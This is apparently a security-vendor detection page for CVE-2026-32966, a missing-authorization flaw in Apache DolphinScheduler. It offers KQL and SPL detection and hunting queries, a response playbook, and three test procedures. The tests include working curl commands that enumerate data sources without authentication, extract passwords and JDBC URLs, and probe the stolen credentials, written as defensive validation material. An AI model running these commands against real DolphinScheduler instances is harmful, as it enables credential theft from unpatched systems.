CVE-2026-32966 Microsoft Sentinel · KQL

Detect Apache DolphinScheduler DataSource API Missing Authorization - Arbitrary Metadata Disclosure (CVE-2026-32966) in Microsoft Sentinel

Apache DolphinScheduler versions before 3.4.2 contain a missing authorization check in the DataSource API endpoint. An unauthenticated or low-privileged attacker can query data source metadata including connection strings, credentials, hostnames, and database names without appropriate access controls. CVSS 9.8 critical. Public PoC available.

MITRE ATT&CK

Tactic
Credential Access Discovery Collection

KQL Detection Query

Microsoft Sentinel (KQL)
kusto 
union isfuzzy=true
(
    AzureDiagnostics
    | where Category == "ApplicationGatewayAccessLog" or Category == "FrontdoorAccessLog"
    | where requestUri_s matches regex @"/dolphinscheduler/datasources(/list|/verify|/connect|/getById|/queryDataSourceList)" 
    | where httpStatus_s in ("200", "201")
    | project TimeGenerated, CallerIPAddress = clientIP_s, RequestUri = requestUri_s, HttpMethod = httpMethod_s, ResponseCode = httpStatus_s, UserAgent = userAgent_s
),
(
    W3CIISLog
    | where csUriStem matches regex @"/dolphinscheduler/datasources"
    | where scStatus in (200, 201)
    | project TimeGenerated, CallerIPAddress = cIP, RequestUri = csUriStem, HttpMethod = csMethod, ResponseCode = scStatus, UserAgent = csUserAgent
),
(
    CommonSecurityLog
    | where DeviceVendor == "Apache" or ApplicationProtocol == "HTTP"
    | where RequestURL matches regex @"/dolphinscheduler/datasources"
    | where EventOutcome == "200" or EventOutcome == "201"
    | project TimeGenerated, CallerIPAddress = SourceIP, RequestUri = RequestURL, HttpMethod = RequestMethod, ResponseCode = EventOutcome, UserAgent = RequestClientApplication
)
| summarize RequestCount = count(), DistinctEndpoints = dcount(RequestUri), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by CallerIPAddress, UserAgent, bin(TimeGenerated, 5m)
| where RequestCount >= 3 or DistinctEndpoints >= 2
| extend RiskScore = case(
    RequestCount >= 20, "Critical",
    RequestCount >= 10, "High",
    DistinctEndpoints >= 3, "High",
    "Medium"
  )
| project-reorder TimeGenerated, CallerIPAddress, RequestCount, DistinctEndpoints, RiskScore, FirstSeen, LastSeen, UserAgent
critical severity medium confidence

Detects repeated or enumeration-style HTTP requests to Apache DolphinScheduler DataSource API endpoints that may indicate exploitation of the missing authorization check in CVE-2026-32966. Monitors for burst access patterns across multiple log sources including Azure Application Gateway, IIS, and CEF.

Data Sources

AzureDiagnosticsW3CIISLogCommonSecurityLogAzureActivityLog

Required Tables

AzureDiagnosticsW3CIISLogCommonSecurityLog

False Positives & Tuning

  • Legitimate DolphinScheduler administrators performing bulk data source configuration or auditing
  • Automated health check or monitoring scripts querying DataSource API endpoints at regular intervals
  • CI/CD pipelines that validate data source connectivity during deployment processes
  • DolphinScheduler internal service-to-service communication for scheduling tasks

Other platforms for CVE-2026-32966

Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Unauthenticated DolphinScheduler DataSource List Enumeration

    Expected signal: HTTP GET request to /dolphinscheduler/datasources/list with no Authorization header; HTTP 200 response containing JSON array of data source objects with connection metadata

  2. Test 2DolphinScheduler DataSource Credential Extraction via getById

    Expected signal: Sequential HTTP GET requests to /dolphinscheduler/datasources/[1-20] from same source IP within 10 seconds; multiple HTTP 200 responses; high distinct_endpoints count

  3. Test 3DolphinScheduler DataSource Verify Endpoint Credential Probe

    Expected signal: HTTP POST to /dolphinscheduler/datasources/verify with JSON body containing credential parameters; outbound TCP connection from DolphinScheduler host to TARGET_DB_HOST:3306

Last updated: 2026-07-02 Research depth: standard
References (4)

Response Playbook

Triage

  1. Identify the source IP(s) generating requests to /dolphinscheduler/datasources endpoints and determine if they correspond to known internal services, administrative users, or external/unexpected clients.
  2. Confirm the DolphinScheduler version deployed by checking the application's manifest, Maven artifact metadata, or running `find / -name 'dolphinscheduler-api-*.jar' 2>/dev/null` on the host to extract the version string.
  3. Review the HTTP response bodies or application logs to determine if any sensitive data source metadata (connection strings, credentials, hostnames) was successfully returned to the requesting IP.
  4. Check whether the requesting IP performed authentication prior to hitting the DataSource API — absent or anomalous auth tokens indicate unauthenticated exploitation.

Containment

  1. If exploitation is confirmed, immediately block the offending source IP(s) at the network perimeter or WAF, and apply a temporary ACL restricting access to DolphinScheduler API endpoints to known-good internal IP ranges.
  2. Rotate all credentials for data sources whose metadata was potentially exposed — including database passwords, JDBC connection string secrets, and any API keys stored within DolphinScheduler data source configurations.

Evidence Collection

  1. Export DolphinScheduler application logs covering the suspected exploitation window, preserving raw HTTP request/response pairs including headers, body payloads, and timestamps for forensic review.
  2. Capture a list of all data sources configured in DolphinScheduler at time of incident (via authenticated admin API or direct database query to t_ds_datasource table) to enumerate the blast radius of credential exposure.

Escalation Criteria

  • !Escalate to CISO and data protection officer immediately if any data source credentials were confirmed exfiltrated, particularly if those credentials grant access to production databases containing PII, PCI, or regulated data.
  • !Escalate to incident response team if the attacking IP is attributed to a known threat actor, is geolocated to a high-risk jurisdiction, or if lateral movement indicators are observed following the initial DataSource API enumeration.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >DolphinScheduler application log files (dolphinscheduler-api.log) containing HTTP access records with request paths and response codes
  • >Database table t_ds_datasource in DolphinScheduler's backend MySQL/PostgreSQL — contains stored connection strings, usernames, and encrypted passwords that were exposed
  • >JVM heap dump or thread dump if the application was under active exploitation — may contain plaintext credentials in memory
  • >Network capture (pcap) from the DolphinScheduler host showing raw HTTP request/response payloads to /datasources endpoints during the exploitation window

Tuning Guidance

Adjust the minimum request_count threshold (default: 3) based on your environment's baseline DolphinScheduler API call volume. In environments with high-frequency internal service polling, increase to 10-20 to reduce false positives. Consider adding a whitelist of known DolphinScheduler worker node IPs and monitoring service IPs to suppress legitimate traffic. If DolphinScheduler is fronted by a load balancer, correlate on session IDs or X-Forwarded-For headers rather than the load balancer's IP. For the Elastic EQL sequence rule, extend maxspan from 5m to 15m if your monitoring stack has high-latency log ingestion.

Hunting Queries

Retroactive 7-day hunt for historical access patterns to DolphinScheduler DataSource API endpoints that may indicate prior undetected exploitation of CVE-2026-32966, identifying hours with anomalous request volumes or endpoint diversity.

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where RequestURL matches regex @"/dolphinscheduler/datasources"
| where EventOutcome in ("200", "201")
| summarize total_requests=count(), unique_endpoints=dcount(RequestURL), ips=make_set(SourceIP) by bin(TimeGenerated, 1h)
| where total_requests > 5 or unique_endpoints > 3
| order by total_requests desc
Hunting — SPL
spl 
index=web earliest=-7d
(uri_path="*/dolphinscheduler/datasources*" OR url="*/dolphinscheduler/datasources*")
(status=200 OR status=201)
| timechart span=1h count AS requests dc(src_ip) AS unique_sources dc(uri_path) AS unique_endpoints
| where requests > 5 OR unique_endpoints > 3

Atomic Red Team Tests

Test 1 Unauthenticated DolphinScheduler DataSource List Enumeration
linux

Simulate CVE-2026-32966 exploitation by sending an unauthenticated GET request to the DataSource list endpoint, verifying that data source metadata is returned without valid session credentials.

Command

bash 
curl -s -o /tmp/ds_response.json -w '%{http_code}' http://TARGET_HOST:12345/dolphinscheduler/datasources/list?pageNo=1&pageSize=100 && cat /tmp/ds_response.json | python3 -m json.tool | grep -E '(name|type|host|port|database|user)'

Cleanup

bash 
rm -f /tmp/ds_response.json

Expected Telemetry

HTTP GET request to /dolphinscheduler/datasources/list with no Authorization header; HTTP 200 response containing JSON array of data source objects with connection metadata

Expected Detection

Alert triggered on unauthenticated successful request to DolphinScheduler DataSource API; source IP flagged with request_count >= 1 and risk_level medium or higher

Test 2 DolphinScheduler DataSource Credential Extraction via getById
linux

Iterate through numeric data source IDs using the getById endpoint without authentication to extract individual data source connection details including database credentials.

Command

bash 
for id in $(seq 1 20); do echo "=== DataSource ID $id ==="; curl -s -H 'Content-Type: application/json' http://TARGET_HOST:12345/dolphinscheduler/datasources/$id | python3 -m json.tool 2>/dev/null; sleep 0.5; done > /tmp/ds_extracted.txt && grep -E '(password|connectionParams|jdbcUrl)' /tmp/ds_extracted.txt

Cleanup

bash 
rm -f /tmp/ds_extracted.txt

Expected Telemetry

Sequential HTTP GET requests to /dolphinscheduler/datasources/[1-20] from same source IP within 10 seconds; multiple HTTP 200 responses; high distinct_endpoints count

Expected Detection

Alert triggered with request_count >= 10 and distinct_endpoints >= 5; risk_level escalated to high or critical

Test 3 DolphinScheduler DataSource Verify Endpoint Credential Probe
linux

Abuse the DataSource verify/connect endpoint without authorization to test discovered credentials against downstream database targets, confirming credential validity.

Command

bash 
curl -s -X POST http://TARGET_HOST:12345/dolphinscheduler/datasources/verify -H 'Content-Type: application/json' -d '{"type":"MYSQL","name":"test","host":"TARGET_DB_HOST","port":3306,"database":"testdb","userName":"root","password":"extracted_password","other":""}' | python3 -m json.tool

Cleanup

bash 
No persistent changes; verify endpoint is read-only

Expected Telemetry

HTTP POST to /dolphinscheduler/datasources/verify with JSON body containing credential parameters; outbound TCP connection from DolphinScheduler host to TARGET_DB_HOST:3306

Expected Detection

Alert on POST method to /dolphinscheduler/datasources/verify without valid auth token; secondary alert on unexpected outbound database connection from DolphinScheduler application host

Related Detections

Tactic Hubs

TA0006Credential AccessTA0007DiscoveryTA0009Collection

Related Techniques

T1190Exploit Public-Facing ApplicationT1083File and Directory DiscoveryT1552.001Credentials In FilesT1046Network Service Discovery

Same Tactic: Credential Access

Popular Detections